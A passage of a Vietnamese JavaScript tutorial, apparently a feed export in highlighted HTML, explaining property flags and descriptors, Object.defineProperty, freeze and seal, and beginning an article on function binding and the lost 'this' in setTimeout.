<span class="token operator">=</span> <span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">;</span> Object<span class="token punctuation">.</span><span class="token function">defineProperty</span><span class="token punctuation">(</span>user<span class="token punctuation">,</span> <span class="token string">"name"</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">value</span><span class="token operator">:</span> <span class="token string">"Alex"</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">let</span> descriptor <span class="token operator">=</span> Object<span class="token punctuation">.</span><span class="token function">getOwnPropertyDescriptor</span><span class="token punctuation">(</span>user<span class="token punctuation">,</span> <span class="token string">"name"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token constant">JSON</span><span class="token punctuation">.</span><span class="token function">stringify</span><span class="token punctuation">(</span>descriptor<span class="token punctuation">,</span> <span class="token keyword">null</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">/* { "value": "Alex", "writable": false, "enumerable": false, "configurable": false } */</span></code></pre></div> <blockquote> <p>📝 <strong>Chú ý:</strong> Đối với cách tạo object thông thường thì các cờ <code>writable</code>, <code>enumerable</code>, <code>configurable</code> có giá trị mặc định là <code>true</code>.</p> </blockquote> <p>Trên đây là kiến thức chung về các cờ. Tiếp theo mình sẽ xem xét ý nghĩa của từng cờ.</p> <h2 id="thuộc-tính-chỉ-đọc-non-writable" style="position:relative;"><a href="#thu%E1%BB%99c-t%C3%ADnh-ch%E1%BB%89-%C4%91%E1%BB%8Dc-non-writable" aria-label="thuộc tính chỉ đọc non writable permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Thuộc tính chỉ đọc non-writable</h2> <p>Giả sử, mình muốn tạo thuộc tính <code>user.name</code> là thuộc tính chỉ đọc - <strong>non-writable</strong> hay <strong>read-only</strong> bằng cách set <code>writable=false</code> như sau:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token string">"use strict"</span><span class="token punctuation">;</span> <span class="token keyword">let</span> user <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"Alex"</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line">Object<span class="token punctuation">.</span><span class="token function">defineProperty</span><span class="token punctuation">(</span>user<span class="token punctuation">,</span> <span class="token string">"name"</span><span class="token punctuation">,</span> <span class="token punctuation">{</span></span><span class="gatsby-highlight-code-line"> <span class="token literal-property property">writable</span><span class="token operator">:</span> <span class="token boolean">false</span><span class="token punctuation">,</span></span><span class="gatsby-highlight-code-line"><span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span> user<span class="token punctuation">.</span>name <span class="token operator">=</span> <span class="token string">"Anna"</span><span class="token punctuation">;</span> <span class="token comment">// Error: Cannot assign to read only property 'name' of object '#&lt;Object>'</span></code></pre></div> <p>Rõ ràng là mình không thể thay đổi giá trị của thuộc tính <code>name</code> khi <code>writable=false</code>.</p> <blockquote> <p><strong>Chú ý:</strong> Lỗi trên chỉ được in ra khi sử dụng code ở <a href="/use-strict-trong-js/">strict mode</a>.</p> <p>Đối với chế độ thông thường thì sẽ không có dòng lỗi trên, dù cho việc thay đổi giá trị của thuộc tính <code>name</code> vẫn không được phép.</p> </blockquote> <p>Tiếp theo là ví dụ tạo thuộc tính bằng phương thức <code>defineProperty</code>:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token string">"use strict"</span><span class="token punctuation">;</span> <span class="token keyword">let</span> user <span class="token operator">=</span> <span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line">Object<span class="token punctuation">.</span><span class="token function">defineProperty</span><span class="token punctuation">(</span>user<span class="token punctuation">,</span> <span class="token string">"name"</span><span class="token punctuation">,</span> <span class="token punctuation">{</span></span><span class="gatsby-highlight-code-line"> <span class="token literal-property property">value</span><span class="token operator">:</span> <span class="token string">"Alex"</span><span class="token punctuation">,</span></span><span class="gatsby-highlight-code-line"> <span class="token literal-property property">enumerable</span><span class="token operator">:</span> <span class="token boolean">true</span><span class="token punctuation">,</span></span><span class="gatsby-highlight-code-line"> <span class="token literal-property property">configurable</span><span class="token operator">:</span> <span class="token boolean">true</span><span class="token punctuation">,</span></span><span class="gatsby-highlight-code-line"><span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>user<span class="token punctuation">.</span>name<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Alex</span> user<span class="token punctuation">.</span>name <span class="token operator">=</span> <span class="token string">"Anna"</span><span class="token punctuation">;</span> <span class="token comment">// Error</span></code></pre></div> <p>Trong ví dụ trên, cờ <code>writable</code> không được khai báo thì giá trị mặc định của cờ này là <code>false</code>. Do đó, thuộc tính <code>user.name</code> cũng là <strong>non-writable</strong>.</p> <h2 id="thuộc-tính-non-enumerable" style="position:relative;"><a href="#thu%E1%BB%99c-t%C3%ADnh-non-enumerable" aria-label="thuộc tính non enumerable permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Thuộc tính non-enumerable</h2> <p>Giả sử, mình thêm phương thức <code>toString</code> cho đối tượng <code>user</code> trên. Mặc định thì <code>toString</code> sẽ xuất hiện trong vòng lặp <code>for...in</code> như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> user <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"Alex"</span><span class="token punctuation">,</span> <span class="token function">toString</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token keyword">this</span><span class="token punctuation">.</span>name<span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> key <span class="token keyword">in</span> user<span class="token punctuation">)</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>key<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// name, toString</span></code></pre></div> <p>Nếu mình không muốn phương thức <code>toString</code> xuất hiện trong vòng lặp <code>for...in</code> thì có thể set <code>enumerable=false</code>:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> user <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"Alex"</span><span class="token punctuation">,</span> <span class="token function">toString</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token keyword">this</span><span class="token punctuation">.</span>name<span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line">Object<span class="token punctuation">.</span><span class="token function">defineProperty</span><span class="token punctuation">(</span>user<span class="token punctuation">,</span> <span class="token string">"toString"</span><span class="token punctuation">,</span> <span class="token punctuation">{</span></span><span class="gatsby-highlight-code-line"> <span class="token literal-property property">enumerable</span><span class="token operator">:</span> <span class="token boolean">false</span><span class="token punctuation">,</span></span><span class="gatsby-highlight-code-line"><span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"></span><span class="gatsby-highlight-code-line"><span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> key <span class="token keyword">in</span> user<span class="token punctuation">)</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>key<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// name</span></span></code></pre></div> <p>Bây giờ thì <code>toString</code> đã không xuất hiện trong vòng lặp <code>for...in</code>. Nói cách khác, <code>toString</code> trở thành thuộc tính <strong>non-enumerable</strong>.</p> <p>Khi sử dụng phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/keys"><code>Object.keys</code></a> để lấy <strong>tất cả key</strong> trong object, các thuộc tính <strong>non-enumerable</strong> cũng được bỏ qua:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> user <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"Alex"</span><span class="token punctuation">,</span> <span class="token function">toString</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token keyword">this</span><span class="token punctuation">.</span>name<span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> Object<span class="token punctuation">.</span><span class="token function">defineProperty</span><span class="token punctuation">(</span>user<span class="token punctuation">,</span> <span class="token string">"toString"</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">enumerable</span><span class="token operator">:</span> <span class="token boolean">false</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>Object<span class="token punctuation">.</span><span class="token function">keys</span><span class="token punctuation">(</span>user<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// ['name']</span></span></code></pre></div> <h2 id="thuộc-tính-non-configurable" style="position:relative;"><a href="#thu%E1%BB%99c-t%C3%ADnh-non-configurable" aria-label="thuộc tính non configurable permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Thuộc tính non-configurable</h2> <p>Cờ <strong>configurable</strong> với <code>configurable=false</code> thường được set cho các thuộc tính của các <strong>đối tượng sẵn có</strong> trong JavaScript.</p> <p>Khi đó, thuộc tính gọi là <strong>non-configurable</strong> - không thể xóa và các cờ khác không thể thay đổi.</p> <p>Ví dụ <code>Math.PI</code> là <strong>non-writable, non-enumerable and non-configurable</strong>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> descriptor <span class="token operator">=</span> Object<span class="token punctuation">.</span><span class="token function">getOwnPropertyDescriptor</span><span class="token punctuation">(</span>Math<span class="token punctuation">,</span> <span class="token string">"PI"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token constant">JSON</span><span class="token punctuation">.</span><span class="token function">stringify</span><span class="token punctuation">(</span>descriptor<span class="token punctuation">,</span> <span class="token keyword">null</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">/* { "value": 3.141592653589793, "writable": false, "enumerable": false, "configurable": false } */</span></code></pre></div> <p>Bạn không thể thay đổi giá trị của <code>PI</code>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">Math<span class="token punctuation">.</span><span class="token constant">PI</span> <span class="token operator">=</span> <span class="token number">3</span><span class="token punctuation">;</span> <span class="token comment">// => Lỗi, giá trị của PI không thể thay đổi</span></code></pre></div> <p>Và bạn cũng không thể thay đổi <code>PI</code> thành <strong>writable</strong>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">Object<span class="token punctuation">.</span><span class="token function">defineProperty</span><span class="token punctuation">(</span>Math<span class="token punctuation">,</span> <span class="token string">"PI"</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">writable</span><span class="token operator">:</span> <span class="token boolean">true</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Lỗi: Cannot redefine property: PI</span></code></pre></div> <p>Nghĩa là việc tạo ra thuộc tính <strong>non-configurable</strong> là "một chiều". Bạn không thể thay đổi các cờ bằng phương thức <code>defineProperty</code> được nữa.</p> <blockquote> <p><strong>Chú ý:</strong> việc gán <code>configurable=false</code> chỉ <strong>ngăn chặn</strong> việc thay đổi giá trị của các cờ và việc xóa thuộc tính. Tuy nhiên, giá trị của thuộc tính vẫn có thể thay đổi.</p> </blockquote> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token string">"use strict"</span><span class="token punctuation">;</span> <span class="token keyword">let</span> user <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"Alex"</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> Object<span class="token punctuation">.</span><span class="token function">defineProperty</span><span class="token punctuation">(</span>user<span class="token punctuation">,</span> <span class="token string">"name"</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">configurable</span><span class="token operator">:</span> <span class="token boolean">false</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> user<span class="token punctuation">.</span>name <span class="token operator">=</span> <span class="token string">"Anna"</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>user<span class="token punctuation">.</span>name<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Anna</span> <span class="token keyword">delete</span> user<span class="token punctuation">.</span>name<span class="token punctuation">;</span> <span class="token comment">// Lỗi: Cannot delete property 'name' of #&lt;Object></span></code></pre></div> <p>Trong ví dụ trên, giá trị của <code>user.name</code> có thể thay đổi, nhưng không thể bị xóa. Để ngăn chặn việc thay đổi giá trị của <code>user.name</code> giống như <code>Math.PI</code>, bạn có thể gán thêm <code>writable=false</code>:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token string">"use strict"</span><span class="token punctuation">;</span> <span class="token keyword">let</span> user <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"Alex"</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> Object<span class="token punctuation">.</span><span class="token function">defineProperty</span><span class="token punctuation">(</span>user<span class="token punctuation">,</span> <span class="token string">"name"</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="gatsby-highlight-code-line"> <span class="token literal-property property">writable</span><span class="token operator">:</span> <span class="token boolean">false</span><span class="token punctuation">,</span></span> <span class="token literal-property property">configurable</span><span class="token operator">:</span> <span class="token boolean">false</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> user<span class="token punctuation">.</span>name <span class="token operator">=</span> <span class="token string">"Anna"</span><span class="token punctuation">;</span> <span class="token comment">// Lỗi: Cannot assign to read only property 'name' of object '#&lt;Object>'</span> <span class="token keyword">delete</span> user<span class="token punctuation">.</span>name<span class="token punctuation">;</span> <span class="token comment">// Lỗi: Cannot delete property 'name' of #&lt;Object></span></code></pre></div> <h2 id="phương-thức-objectdefineproperties" style="position:relative;"><a href="#ph%C6%B0%C6%A1ng-th%E1%BB%A9c-objectdefineproperties" aria-label="phương thức objectdefineproperties permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Phương thức Object.defineProperties</h2> <p>Phương thức <code>Object.defineProperty</code> bên trên chỉ định nghĩa một thuộc tính.</p> <p>Để <strong>định nghĩa nhiều thuộc tính cùng một lúc</strong>, bạn có thể sử dụng phương thức <code>Object.defineProperties</code> với cú pháp là:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">Object<span class="token punctuation">.</span><span class="token function">defineProperties</span><span class="token punctuation">(</span>obj<span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">prop1</span><span class="token operator">:</span> descriptor1<span class="token punctuation">,</span> <span class="token literal-property property">prop2</span><span class="token operator">:</span> descriptor2<span class="token punctuation">,</span> <span class="token comment">// ...</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">Object<span class="token punctuation">.</span><span class="token function">defineProperties</span><span class="token punctuation">(</span>user<span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token punctuation">{</span> <span class="token literal-property property">value</span><span class="token operator">:</span> <span class="token string">"David"</span><span class="token punctuation">,</span> <span class="token literal-property property">writable</span><span class="token operator">:</span> <span class="token boolean">false</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token literal-property property">surname</span><span class="token operator">:</span> <span class="token punctuation">{</span> <span class="token literal-property property">value</span><span class="token operator">:</span> <span class="token string">"Walsh"</span><span class="token punctuation">,</span> <span class="token literal-property property">writable</span><span class="token operator">:</span> <span class="token boolean">false</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <h2 id="phương-thức-objectgetownpropertydescriptors" style="position:relative;"><a href="#ph%C6%B0%C6%A1ng-th%E1%BB%A9c-objectgetownpropertydescriptors" aria-label="phương thức objectgetownpropertydescriptors permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Phương thức Object.getOwnPropertyDescriptors</h2> <p>Để lấy tất cả các đối tượng "property descriptor" của một object, bạn có thể sử dụng phương thức <code>Object.getOwnPropertyDescriptors(obj)</code>.</p> <p>Và khi kết hợp phương thức trên với <code>Object.defineProperties</code>, bạn có một cách để <strong>clone object</strong> như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> clone <span class="token operator">=</span> Object<span class="token punctuation">.</span><span class="token function">defineProperties</span><span class="token punctuation">(</span><span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">,</span> Object<span class="token punctuation">.</span><span class="token function">getOwnPropertyDescriptors</span><span class="token punctuation">(</span>obj<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Khi <a href="/copy-object-trong-javascript/">clone object</a>, ta thường chỉ <strong>copy giá trị các thuộc tính</strong> như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> key <span class="token keyword">in</span> user<span class="token punctuation">)</span> <span class="token punctuation">{</span> clone<span class="token punctuation">[</span>key<span class="token punctuation">]</span> <span class="token operator">=</span> user<span class="token punctuation">[</span>key<span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>Tuy nhiên, cách làm trên không thực hiện copy giá trị các cờ <code>writable</code>, <code>enumerable</code> và <code>configurable</code>.</p> <p>Do đó, nếu bạn muốn <strong>clone object</strong> tốt hơn (bao gồm giá trị của tất cả các cờ) thì cách làm trên là hoàn toàn phù hợp.</p> <h2 id="các-phương-thức-khác" style="position:relative;"><a href="#c%C3%A1c-ph%C6%B0%C6%A1ng-th%E1%BB%A9c-kh%C3%A1c" aria-label="các phương thức khác permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Các phương thức khác</h2> <p>JavaScript cung cấp các phương thức giúp bạn thao tác với object giống như việc thay đổi giá trị cờ <code>writable</code>, <code>enumerable</code> và <code>configurable</code> nhưng dễ dàng hơn.</p> <p>► <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/preventExtensions">Object.preventExtensions(obj)</a></p> <p>Giúp ngăn chặn việc <strong>thêm các thuộc tính</strong> vào object.</p> <p>► <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/seal">Object.seal(obj)</a></p> <p>Giúp ngăn chặn việc <strong>thêm/xóa</strong> các thuộc tính. Tương đương với việc set <code>configurable: false</code> cho tất cả các thuộc tính.</p> <p>► <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/freeze">Object.freeze(obj)</a></p> <p>Giúp ngăn chặn việc <strong>thêm/xóa/thay đổi giá trị</strong> các thuộc tính. Tương đương với việc set <code>configurable: false, writable: false</code> cho tất cả các thuộc tính.</p> <p>► <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/isExtensible">Object.isExtensible(obj)</a></p> <p>Trả về <code>false</code> nếu việc <strong>thêm các thuộc tính</strong> vào object bị cấm, ngược lại trả về <code>true</code>.</p> <p>► <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/isSealed">Object.isSealed(obj)</a></p> <p>Trả về <code>true</code> nếu việc <strong>thêm/xóa</strong> thuộc tính là bị cấm, ngược lại trả về <code>false</code>.</p> <p>► <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/isFrozen">Object.isFrozen(obj)</a></p> <p>Trả về <code>true</code> nếu việc <strong>thêm/xóa/thay đổi giá trị</strong> các thuộc tính là bị cấm, ngược lại trả về <code>false</code>.</p> <p>Tham khảo: <a href="https://javascript.info/property-descriptors">Property flags and descriptors</a></p>[email protected]<![CDATA[Function binding trong JavaScript]]><![CDATA[Khi sử dụng phương thức của object làm hàm callback, ví dụ sử dụng với hàm setTimeout, thường xảy ra vấn đề là: "mất giá trị this". Sau đây, mình sẽ cùng tìm hiểu cách sử dụng…]]>https://completejavascript.com/function-binding-trong-javascript/https://completejavascript.com/function-binding-trong-javascript/<![CDATA[Hàm]]>Wed, 21 Jun 2017 06:20:00 GMT<p>Khi sử dụng <a href="/phuong-thuc-object-va-this-trong-javascript/">phương thức của object</a> làm hàm callback, ví dụ sử dụng với hàm <a href="/ham-settimeout-trong-javascript/"><code>setTimeout</code></a>, thường xảy ra vấn đề là: "mất giá trị <code>this</code>".</p> <p>Sau đây, mình sẽ cùng tìm hiểu cách sử dụng <strong>function binding</strong> để khắc phục tình trạng này.</p> <h2 id="vấn-đề-mất-this" style="position:relative;"><a href="#v%E1%BA%A5n-%C4%91%E1%BB%81-m%E1%BA%A5t-this" aria-label="vấn đề mất this permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Vấn đề mất <code>this</code></h2> <p>Ví dụ sử dụng hàm <code>setTimeout</code> như sau:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> user <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">firstName</span><span class="token operator">:</span> <span class="token string">"Alex"</span><span class="token punctuation">,</span> <span class="token function">sayHi</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Hello, </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span><span class="token keyword">this</span><span class="token punctuation">.</span>firstName<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">!</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line"><span class="token function">setTimeout</span><span class="token punctuation">(</span>user<span class="token punctuation">.</span>sayHi<span class="token punctuation">,</span> <span class="token number">1000</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Hello, undefined! (*)</span></span></code></pre></div> <p>Kết quả hiển thị sau 1000ms là <code>Hello, undefined!</code>.</p> <p>Đó là bởi vì hàm <code>setTimeout</code> sử dụng hàm <code>sayHi</code> một cách độc lập với đối tượng <code>user</code>. Dòng <code>(*)</code> có thể viết lại tương đương là:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> func <span class="token operator">=</span> user<span class="token punctuation">.</span>sayHi<span class="token punctuation">;</span> <span class="token function">setTimeout</span><span class="token punctuation">(</span>func<span class="token punctuation">,</span> <span class="token number">1000</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// mất context của `this`</span></code></pre></div> <p>Đối với trình duyệt, hàm <code>setTimeout</code> gán giá trị <code>this=window</code> khi gọi hàm callback. Vì vậy, <code>this.firstName</code> trở thành <code>window.firstName</code>. Mà đối tượng <code>window</code> không chứa thuộc tính <code>firstName</code>, dẫn đến kết quả là <code>undefined</code>.</p> <p>Vậy câu hỏi đặt ra là: làm sao truyền phương thức của object vào phương thức khác mà vẫn giữ nguyên context <code>this</code>?</p> <h2 